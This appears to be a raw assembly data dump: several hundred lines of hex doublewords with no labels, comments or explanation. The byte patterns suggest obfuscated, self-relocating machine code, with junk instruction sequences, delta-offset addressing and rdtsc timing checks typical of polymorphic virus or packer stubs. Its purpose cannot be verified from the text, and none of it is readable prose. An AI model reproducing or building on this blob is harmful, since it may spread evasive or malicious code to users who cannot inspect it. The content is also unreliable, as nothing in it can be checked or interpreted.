		dd 4247C89h, 4244481h, 19h, 67C35747h, 0F3A68B49h, 835F5252h
		dd 958905C0h, 5EA108Dh,	6E990h,	87C00000h, 85B434AEh, 906BB750h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 55C35545h
		dd 800F701Dh, 6, 25D19D2Bh, 9D8905EAh, 5EA15B1h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D53CC2C3h, 0F21A0208h, 0E9F53087h, 8, 0B798489Ah, 0E4ADB964h
		dd 8D89006Ah, 5EA2DF5h,	23E995FFh, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D8B42C3h
		dd 5EA1E69h, 0C759D8Bh,	13E905EAh, 8A000000h, 73C8321Bh
		dd 3A6F5B7Eh, 840EC961h, 85E1BCF5h, 8D8D24DCh, 5EDD89Dh
		dd 0CD78057h, 83D1FF5Fh, 0EA02D1BDh, 850F0105h,	69h, 28B0Fh
		dd 0E3B30000h, 6A026Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0B6F7DBC3h, 66C3AB99h, 262CDF81h
		dd 1399D03h, 605005EAh,	13E957h, 0C9030000h, 4A73228h
		dd 8A9A2542h, 0B81C8BAFh, 0A31633E7h, 0BE665823h, 896152DDh
		dd 0B5892404h, 5EA0875h, 163D95FFh, 0B70F05EAh,	0E41E9FFh
		dd 0E80000h, 5D000000h,	655EED81h, 0BB6605EEh, 6ADA26h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0B7D387C3h, 15BD8921h, 8D05EA00h, 0EDC38785h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 800F6E08h, 5, 0E2CF8166h, 6E85004h, 0ED000000h, 9F03D4h
		dd 5BD88BABh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 14CCC352h, 19E20E3Fh
		dd 939D1F4Dh, 1810Fh, 64F80000h, 35FFh,	0BD8B0000h, 5EA0711h
		dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D9BEC350h,	0E18E3E84h
		dd 0F94EDC27h, 1C4985FFh, 3CB305EAh
		dd 0ED9D8B57h, 5B05EA02h, 0FD8AFF6Ah, 2CBDB5FFh, 6A05EAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0EA17D9C3h, 0D98B6685h, 9B58953h, 5B05EA1Eh,	144995FFh
		dd 0F4E905EAh, 0BB000000h, 671CB36Fh, 0BD8900B0h, 5EA0C2Dh
		dd 8B0F70E6h, 0
		dd 613C71E4h, 0D5830Fh,	9D8B0000h, 5EA31A1h, 0FC8B60Fh
		dd 6BAFABFh, 0FC000000h, 9589C18Bh, 5EA1DA5h, 0B304E8C1h
		dd 0E2F7669Bh, 306D8D09h, 890F05EAh, 6,	0FEDCEF81h, 0C82B3096h
		dd 59DBD8Bh, 0D18B05EAh, 0CE9h,	7E900h,	0DA40000h, 11C08B63h
		dd 69858B50h, 0F505EA06h, 0BF07C083h, 70F9CC50h, 6000C083h
		dd 1C31858Bh, 3B6105EAh, 16830FD0h, 0BB000000h,	63573A6Ch
		dd 31C18D89h, 54E905EAh, 81000000h, 89D117EBh, 718D8B4Bh
		dd 2305EA1Eh, 0EA0FC19Dh, 1E18305h, 39840Fh, 9D8B0000h
		dd 5EA0B91h, 10E9h, 0FD75E00h, 0EC40F21Dh, 0A35B72EFh
		dd 0CAA42196h, 71A583A0h, 0FE05EA1Eh, 3F58C781h, 95891A8Fh
		dd 5EA0669h, 1A7DBD01h,	0E905EAh, 8D000000h, 0EDEEDBB5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F28F8FC2h, 0E99C92EAh, 11h, 79F76425h
		dd 8E91436h, 512E1B66h,	3935253Fh, 6A006AC3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 7601C353h, 0F17A914h, 58Ah, 1ACABB00h, 95FF3248h, 5EA1015h
		dd 810Fh, 0F7B90000h, 6A000006h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0BD68C352h,	0F38050A3h
		dd 0FCE183D4h, 0F99D2Bh, 6AFC05EAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E8ABC352h
		dd 5, 70A4975Ch, 75BD8953h, 5B05EA23h, 11119D8Bh, 0B805EAh
		dd 0F000000h, 68Bh, 0B9B50100h,	0BA05EA06h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 89C35747h
		dd 329FE5CFh, 33ADEF04h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 115843C3h, 8D0Fh, 9D8B0000h,	5EA2CB9h, 21880Fh, 0E8600000h
		dd 0Fh,	685A7BAFh, 1B4A1F84h, 9AB79EF2h, 5F5858C4h, 5E9h
		dd 0ADE93300h, 0D617154h, 88h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 7FC35343h, 1C07DCAEh, 8B2FB354h
		dd 0EA0ADD95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 418ACC01h, 8B097C85h
		dd 0EA2C599Dh, 0CD8D8B05h, 6A05EA0Ah, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C1BFC350h
		dd 0C558D89h, 8B5005EAh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0AF58D09h, 0BE905EAh, 7F000000h, 2EB586B9h
		dd 73470ACBh, 6A826Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 4FE57FC3h, 11E9h, 56142500h, 51CE6F5h
		dd 0E0BEB1F8h, 4FC7C806h, 0BD83C525h, 5EA0819h,	7F840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 2E73C352h, 5858999h, 0B805EA14h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 3C35646h
		dd 0B0FBB735h, 68B0F52h, 8B000000h, 0EA3171BDh,	8D8D5F05h
		dd 5EA4C21h, 0FC4830BBh, 81666029h, 8136A8F7h, 0EFD271D8h
		dd 0E1FF612Eh, 3005BD23h, 895105EAh, 0EA02718Dh, 0BD835F05h
		dd 5EA25F5h, 55840F00h,	8B000004h, 0EA0B719Dh, 12E905h
		dd 17FF0000h, 2F05ADC0h, 0D68A92Fh, 2EBDB55Fh, 70AA7903h
		dd 25F5BD83h, 0F0105EAh, 44684h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 4703BC4Fh
		dd 759D8B92h, 8305EA30h, 0EA25F5BDh, 860F0305h,	3DDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 31C35646h, 0B9D6D36Dh
		dd 945FA69Fh, 0BFFAB70Fh, 1C587757h, 698D8960h,	6605EA2Eh
		dd 14E9D98Ch, 0AD000000h, 279CA73Ah, 48CE9F91h,	7AD3F14Ch
		dd 421FCCE4h, 0FC676AFEh, 8904E180h, 0EA0BBDBDh, 0FC90A05h
		dd 10884h, 29858B00h, 3105EA16h, 0EA1BA18Dh, 35853305h
		dd 0E905EA15h, 14h, 75FC30B8h, 8BC46BF3h, 7DDFA753h, 7CA2A827h
		dd 675EBB1Ch, 24048950h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 60AFD9C3h, 0E381663Eh
		dd 0E8F5BCFCh, 4, 1F03FFh, 0BE9h, 1E6A4F00h, 0E333A2E9h
		dd 395C3247h, 8BFB8B50h, 0F042444h, 0A8Dh, 52506000h, 585A310Fh
		dd 8B61D68Bh, 7DFDBB00h, 448926EFh, 9E90424h, 15000000h
		dd 376C7246h, 3756365Bh, 0EDBD8B58h, 0FF05EA25h, 0EA320D95h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BE3E682h, 0EA1685BDh, 0E0858905h, 8905EDD9h
		dd 0EA0F51B5h, 1C2E905h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0F15927C3h, 0D83A3B6h
		dd 8EB8166h, 0D8858BB6h, 0BF05EDD9h, 253FF23Ch,	1800C7h
		dd 0F7810000h, 27718C4Fh, 0D9DCB58Bh, 6A05EDh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 25A0CBC3h, 0F061C330h, 29E5858Bh, 6A05EAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 5D7803C3h
		dd 8880F2Eh, 56000000h,	19ED9D29h, 0F5F05EAh, 68Eh, 0A59D8B00h
		dd 8905EA0Eh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0BDAD0836h, 0CF358B96h, 0DE8h, 71DB1900h
		dd 984D0856h, 6229D882h, 5BF5EECBh, 1629858Bh, 0BF6605EAh
		dd 4689219Fh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BD8B430Fh, 5EA1579h, 2D8D8D01h
		dd 509605EAh, 0F88B6652h, 890F310Fh, 2,	585ABEB7h, 47BF6650h
		dd 0FE8B96B1h, 0D9D8B5FFh, 8B6605EDh, 0F2C968D8h, 5053F0CBh
		dd 6C3ABB52h, 310F2383h, 310F5250h, 585A585Ah, 2404815Bh
		dd 0F531136h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	23C35141h, 81AADF5Eh, 96E87AD3h, 0E0858D7Ah, 6005EDD9h
		dd 1699B529h, 3AB405EAh, 0D8BB9061h, 502A2FBAh,	0FB8B5250h
		dd 890F310Fh, 0
		dd 6690585Ah, 0CE8FB8Bh, 8D000000h, 0F6A4CDA5h,	18135DC7h
		dd 5BA96B66h, 320D95FFh, 8D8905EAh, 5EA28FDh, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 74D0F20Dh, 0F616EC39h, 2830Fh, 0DA8B0000h, 85C7DF8Bh
		dd 5EA25F5h, 3,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	91C35343h, 0F607C94h, 8Ch, 12E900h, 0CA610000h
		dd 91A7C5FBh, 499CF11Fh, 0E1098422h, 0E69C58C8h, 0E0BD8361h
		dd 5EDD9h, 57840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0F43F9AC3h, 4E20F059h
		dd 49E99854h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 1F68C357h, 0B3BE820Eh
		dd 8166398Dh, 29C0F2DBh, 0EA12ADBDh, 0C305005h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0EBC35343h,	0DF8B66BCh, 61CF8166h
		dd 52006A8Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BD833335h, 5EA25F5h, 11850F03h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C5F3C355h, 2E1DBD8Bh, 816605EAh,	833190CBh
		dd 0EDD9E0BDh, 840F0005h, 3DCh,	0E0B5FFF8h, 8905EDD9h
		dd 0EA101D8Dh, 8D95FF05h, 6A05EA12h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 14D3C356h
		dd 23C6A714h, 614E175Dh, 2AD98D89h, 0B58B05EAh,	5EDD9D4h
		dd 6C7DA8Ah, 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 41C35646h, 8FCE5C99h,	0BC99529h, 8B5005EAh
		dd 243489D8h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	2C35747h, 3070AB38h, 8E9E2BA4h,	0D9E0B5FFh, 6A05EDh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 47CAA5C3h, 20D59D8Bh, 95FF05EAh, 5EA3269h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 96C35545h, 0B625F682h
		dd 7E8697Fh, 0F3000000h, 12A9A9FEh, 0D3805BAAh,	0B58B5F47h
		dd 5EDD9D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0E0C35242h, 0F2CB269h, 81858B18h, 8B05EA08h, 0EA2D019Dh
		dd 7E905h, 0DA4D0000h, 3AE10BB9h, 0C48689E3h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 6749C357h, 0EE631A1Dh, 9D8BF697h,	5EA0069h
		dd 0ADD958Bh, 9D8B05EAh, 5EA0969h, 0E904C283h, 5, 3677B202h
		dd 205089CAh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	0BDC35747h, 89FD2F43h, 6713D27Ah, 2B019D8Bh, 850105EAh
		dd 5EA1BC5h, 9D8B6060h,	5EA0EFDh, 0EF08166h, 8D61617Ah
		dd 0EDEB6785h, 6880F05h, 89000000h, 0EA24FD8Dh,	0B8868905h
		dd 0F000000h, 68Bh, 70DB8100h, 6A226917h, 28BB6600h, 0E0B5FF2Ah
		dd 6A05EDD9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FF23C351h, 0EA163D95h, 319D8B05h
		dd 9605EA1Bh, 52505060h, 585A310Fh, 0D88B6659h,	52505061h
		dd 310FFB8Bh, 0D88B6653h, 96585A5Fh, 3519C5BFh,	0E0B5FF65h
		dd 6A05EDD9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 7280C350h, 7A6E1AD6h, 3CB7DF8Bh
		dd 15A995FFh, 8D8905EAh, 5EA2AB5h, 115DBD83h, 0F0005EAh
		dd 1184h, 0D9D0900h, 9605EA0Bh,	9650D98Bh, 1BD98D89h, 0B5FF05EAh
		dd 5EDD9E0h, 1C05BD8Bh,	95FF05EAh, 5EA1CC9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 32C35545h, 0CE8E429h
		dd 59000000h, 0E7A9C471h, 0E20835EAh, 0F580D03h, 689h
		dd 0D58D8900h, 5F05EA31h, 0D9E0B5FFh, 6A05EDh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 65D84EC3h, 0EF7E9FC1h, 95FFA294h, 5EA230Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E0C35343h, 0BD284ABAh
		dd 9D8BE9E3h, 5EA0911h,	631BD83h, 0F0205EAh, 5184h, 0DEBF0F00h
		dd 0C95858Bh, 0D4BB05EAh, 602A36E4h, 0DE8h, 0A4840F00h
		dd 449DD6CFh, 3005241Bh, 8D8BF2E3h, 5EA0131h, 0C6615Ah
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0E969B9E8h, 0E7FFBB4Bh, 85C75519h, 5EA097Dh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3C35343h
		dd 60590414h, 12E938h, 64F00000h, 89F2BC10h, 7F066101h
		dd 41E3D539h, 5774965Ch, 0FFF2F7E9h, 53006AFFh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 9B418801h
		dd 4C8BFFB1h, 0C18BFC4Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0BEC35545h, 17698F4Ch, 1F16B7BAh, 8DFE8B2Ch
		dd 0EA298D85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 8D0D565Ch, 0A1F30B63h
		dd 0FE9h, 0A7CE4400h, 4458E050h, 1270FD74h, 0B0DCD18Bh
		dd 2F458529h, 509005EAh, 2860F52h, 60000000h, 60310F61h
		dd 82FBBE66h, 0BE8h, 0D5AC1F00h, 0B8ACD438h, 0F9FEC317h
		dd 585A615Ah, 0AB33BB50h, 609042F9h, 61BDDC80h,	10E8006Ah
		dd 0E7000000h, 0E1A35C5Ch, 0EC076C22h, 0E60A8844h, 0FEE31FBh
		dd 286h, 5B5F5600h, 0BD8B006Ah,	5EA02C1h, 75BC858Dh, 6A05EEh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 3F86C3h, 6840F0Bh, 89000000h, 0EA30A58Dh, 5E805h, 7BA90000h
		dd 0F467D8Ch, 68Ah, 0B99D8B00h,	5F05EA0Bh, 6A05C083h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0E8E2C351h, 14h, 9C66C33Fh, 0B6A48DB4h, 0A6CCFDD8h
		dd 9C77383Eh, 829ED717h, 318D0160h, 6005EA13h, 905B6161h
		dd 0A92BBF66h, 90BB6650h, 3ABF9022h, 6A13E7F8h,	0E6BF00h
		dd 6A3BFEh, 362CF381h, 95FF04F1h, 5EA23E9h, 17058D01h
		dd 8D8D05EAh, 5EDD89Dh,	5EDB531h, 0D1FF05EAh, 0D1BD83F5h
		dd 105EA02h, 0B3850Fh, 810F0000h, 8, 2DBD8B50h,	5B05EA11h
		dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 3B29F3C3h, 0FAB70F64h, 9E850h, 6F030000h
		dd 0CE0AE012h, 5FC13FCDh, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5FC6C357h
		dd 0EA62EE74h, 0B890Fh,	8B0F0000h, 5, 5ACB8166h, 0DD9D8916h
		dd 0FF05EA19h, 0EA163D95h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 773F93FCh
		dd 63F9BB9Dh, 799D8957h, 8905EA16h, 0EA23C1BDh,	0CB8E905h
		dd 0E80000h, 5D000000h,	75C6ED81h, 0BB6605EEh, 0AE9422Eh
		dd 24000000h, 95DA318Fh, 36B301Dh, 59858924h, 8D05EA00h
		dd 0EDC38785h, 49852905h, 5005EA32h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 9800C355h, 0E16AA8FFh, 666450EBh, 297F09BFh,	0EA2E618Dh
		dd 35FF6405h, 0
		dd 2E99589h, 896405EAh,	25h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 9FDEC540h
		dd 13E9h, 1929D100h, 0E94D6B3Ah, 0C6F964F7h, 88D4749Dh
		dd 5D5B743Ah, 1C4985FFh, 5E905EAh, 11000000h, 998D13E0h
		dd 0D88BFF6Ah, 0FFDFBF0Fh, 0EA0071B5h, 0E59D2B05h, 0FF05EA02h
		dd 0EA144995h, 142E905h, 13E80000h, 32000000h, 0FF84C89Dh
		dd 65FD33E4h, 0DB0E1614h, 0A8203A4Ch, 0BF0FFAA5h, 0B05FD8h
		dd 0EE970E6h, 0C0000000h, 3183679Fh, 7D7190E6h,	0C6F43619h
		dd 8B71E422h, 0EA0B559Dh, 0F613C05h, 0FF83h, 42F38100h
		dd 8B3AA37Ch, 0EA1555BDh, 0C8B60F05h, 6850Fh, 8D890000h
		dd 5EA1D5Dh, 6BAh, 21C38100h, 8B6C6E3Dh, 8E9C1h, 0EA3D0000h
		dd 0D919D6F3h, 0E8C16C1Dh, 0E2F76604h, 31719529h, 0C82B05EAh
		dd 8BF8B70Fh, 0D38166D1h, 1E93D5Ch, 0F9000000h,	105858Bh
		dd 0EB8105EAh, 20C7D85h, 0F07C083h, 982h, 3890F00h, 0F000000h
		dd 0C083FABFh, 0D7816600h, 0D03BA222h, 3E830Fh,	14E80000h
		dd 7B000000h, 922FB26Ah, 7240B8EFh, 0C9753296h,	5F1B3DDAh
		dd 0E8E9B5F3h, 8, 392AA182h, 0E9228C8Ah, 0AF5BD89h, 5F5B05EAh
		dd 0E9DAB70Fh, 48h, 1195BD31h, 0FE8B05EAh, 7158D8Bh, 0BD0105EAh
		dd 5EA25A5h, 0F01E183h,	2B84h, 0BE900h,	0C1030000h, 0AFC6F8Dh
		dd 2129C9C2h, 15A58335h, 0FE05EA07h, 20799D89h,	958905EAh
		dd 5EA0105h, 0E9F98B66h, 0
		dd 0F78AB58Dh, 6A05EDh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0EEF58C3h, 27205FD2h, 850FF9D5h
		dd 6, 16059D8Bh, 6A05EAh, 0AE9h, 2B736300h, 8391435Fh
		dd 0FF9457BBh, 0EA101595h, 8FBF6605h, 6E905h, 0F3B60000h
		dd 8F934CE2h, 0E64B9h, 5DBD8B00h, 8305EA25h, 0B357FCE1h
		dd 66FC5BF2h, 0E948D381h, 10699501h, 0B805EAh, 31000000h
		dd 0EA15C185h, 0BAF505h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5773C356h
		dd 69634BBCh, 0C09BD8Bh, 33AD05EAh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 65EA77C3h, 840F271Bh, 18h, 11E957h, 27190000h
		dd 0A37C97C4h, 778E1C41h, 0E4293222h, 5F9534B5h, 58F0Fh
		dd 0F8BB0000h, 0D7DA55Ch, 88h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0B2C35545h,	0FC094975h, 1EC5BD8Bh
		dd 958B05EAh, 5EA0ADDh,	29DD9D89h, 880F05EAh, 6, 2EC5BD8Bh
		dd 8D8B05EAh, 5EA0ACDh,	6870Fh,	9D890000h, 5EA2CA9h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 4C60EDC3h
		dd 0AD9D8B09h, 6A05EA1Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0DB37C356h,	83937CE7h
		dd 0EA0819BDh, 840F0005h, 6Fh, 0D830Fh,	8E90000h, 0B8000000h
		dd 0A1F0C024h, 0B8602E08h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0A6C35040h
		dd 0EE99Fh, 0A6DD0000h,	798D73EDh, 699FE2CCh, 0A9EB6847h
		dd 4C218D8Dh, 0FA8B05EAh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 83BDE5C3h, 0EA25F5BDh
		dd 840F0005h, 3E5h, 58B0Fh, 81660000h, 83EBDDCBh, 0EA25F5BDh
		dd 840F0105h, 3E8h, 0FFE8B66h, 0BD83F8B7h, 5EA25F5h, 9F860F03h
		dd 8B000003h, 0EA0319BDh, 719D2905h, 6005EA31h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h, 0FA05B63Bh
		dd 3CA06C15h, 820F60B3h, 6, 25D1B589h, 880F05EAh, 2, 6661F38Bh
		dd 0EB81D98Ch, 0D298E4Bh, 6004E180h, 2EDBD89h, 830F05EAh
		dd 2, 0A615A53h, 2C840FC9h, 0BB000001h,	6A517C2Eh, 8BFB8B66h
		dd 0EA162985h, 9D9D8B05h, 3305EA25h, 0EA153585h, 6890F05h
		dd 8B000000h, 0EA2F219Dh, 3FBF9005h, 50647D45h,	5E860h
		dd 0DAE50000h, 0E9616961h, 0Bh,	64578BA8h, 38F48059h, 5A6FBFDDh
		dd 6E95250h, 8D000000h,	0C20AFC6Fh, 8B310FC9h, 61585AD6h
		dd 31BD8B90h, 6A05EA08h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0F88BE1E0h, 67458368h
		dd 2434816Bh, 6B78467Ch, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0F1C35242h, 6D78F1Ah,	96EFB85h, 0D95FFBBh
		dd 6A05EA32h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 5F8CC356h, 0A9BB87FAh,	8966E437h
		dd 0EDD9E085h, 7E16BB05h, 11E97A4Eh, 1D000000h,	1984B2F1h
		dd 0A616DC8Fh, 0B2FBA950h, 0D11C7296h, 184E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 23ED56FCh, 15459D29h, 8BF905EAh, 0EDD9D885h,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 667A1A3Ah, 3AF7C781h, 1800C7h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 4D5212C3h
		dd 74FF946Ah, 0DCB58B4Eh, 3105EDD9h, 0EA20818Dh, 0E5858B05h
		dd 6A05EA29h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 30EFC355h, 1837832Dh, 0B70F537Ah
		dd 5F565FFAh, 9D8B0689h, 5EA3171h, 1629858Bh, 0BD8B05EAh
		dd 5EA0879h, 89044689h,	0EA2E2D8Dh, 13E95005h, 0D3000000h
		dd 20291609h, 0D48DE481h, 0B1F676E3h, 0CD22884Ch, 34899CEBh
		dd 0FFB70F24h, 0D9D8B5FFh, 6A05EDh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E1C0BBC3h
		dd 9D71B0E1h, 0BD0B5F05h, 5EA001Dh, 0FE8h, 58DD9300h, 7995DE9Bh
		dd 0B0FA5E84h, 0E7F531F0h, 1BF59D89h, 685F05EAh, 360DFEEh
		dd 0E26A22BBh, 24348163h, 37FDC11h, 2B56CB81h, 858D0E51h
		dd 5EDD9E0h, 794F23BBh,	0BB56904Ah, 9636A52h, 0F90505Bh
		dd 689h, 81B52900h, 0FF05EA29h,	0EA320D95h, 11952905h
		dd 2305EA2Eh, 0EA1D7D9Dh, 6A6105h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 5C5D06C3h, 0C58D89D2h
		dd 0C705EA0Dh, 0EA25F585h, 305h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 1191C19Fh
		dd 3B00397h, 67BB66DBh,	0E0BD83B7h, 5EDD9h, 44840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 3EE907C3h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 1AFCC353h, 7FDC06ACh
		dd 3050833Fh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0DBB70FC0h, 10419D8Bh, 0BD8305EAh, 5EA25F5h
		dd 0F4850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F7FC353h, 388h, 0DBBF0F00h
		dd 0CF5BD8Bh, 0BD8305EAh, 5EDD9E0h, 0BC840F00h,	8B000003h
		dd 0EA24A1BDh, 0E0B5FF05h, 8B05EDD9h, 0EA15A5BDh, 8D95FF05h
		dd 6A05EA12h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 8701C351h, 0D9D4B58Bh,	8B6605EDh
		dd 106C7FAh, 8B000100h,	0EA2331BDh, 2860F05h, 0B3000000h
		dd 0FC8A5082h, 0E9243489h, 0Ah,	807B6D69h, 65EA7746h, 0B5FF271Bh
		dd 5EDD9E0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	56C35242h, 326995FFh, 6A05EAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BA280C3h
		dd 0EDD9D4B5h, 95BD8B05h, 8B05EA1Dh, 0EA088185h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 222BB820h, 0E19D8BDEh, 6005EA02h, 1D399D8Bh,	8D8B05EAh
